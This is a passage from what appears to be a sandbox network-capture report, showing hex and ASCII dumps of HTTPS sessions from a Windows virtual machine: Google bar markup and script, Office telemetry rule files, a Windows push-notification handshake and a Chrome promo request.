2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3612)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700263,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e Data Ascii: ctor(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.
2024-11-26 00:41:23 UTC	1390	IN	Data Raw: 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 74 65 5c 75 30 30 33 64 Data Ascii: ocument,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.te\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004122Z-174f7845968qj8jrhC1EWRh41s0000000um00000000066wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 58 56 2b 6d 77 6f 6d 6d 6b 61 77 56 37 66 47 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 32 63 64 36 30 31 36 65 61 36 61 63 62 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: sXV+mwommkawV7fG.1Context: fc2cd6016ea6acbe
2024-11-26 00:41:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-26 00:41:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 58 56 2b 6d 77 6f 6d 6d 6b 61 77 56 37 66 47 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 32 63 64 36 30 31 36 65 61 36 61 63 62 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: sXV+mwommkawV7fG.2Context: fc2cd6016ea6acbe<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-26 00:41:22 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 58 56 2b 6d 77 6f 6d 6d 6b 61 77 56 37 66 47 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 32 63 64 36 30 31 36 65 61 36 61 63 62 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: sXV+mwommkawV7fG.3Context: fc2cd6016ea6acbe<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-26 00:41:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-26 00:41:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 70 70 52 7a 64 79 4b 43 6b 4b 61 77 71 30 46 73 78 4a 5a 38 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qppRzdyKCkKawq0FsxJZ8w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49747	142.250.181.100	443	7660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 00:41:23 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 00:41:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 00:41:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-26 00:41:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004122Z-174f7845968xr5c2hC1EWRd0hn0000000beg00000000605r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004123Z-174f7845968qj8jrhC1EWRh41s0000000ur0000000002u2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S 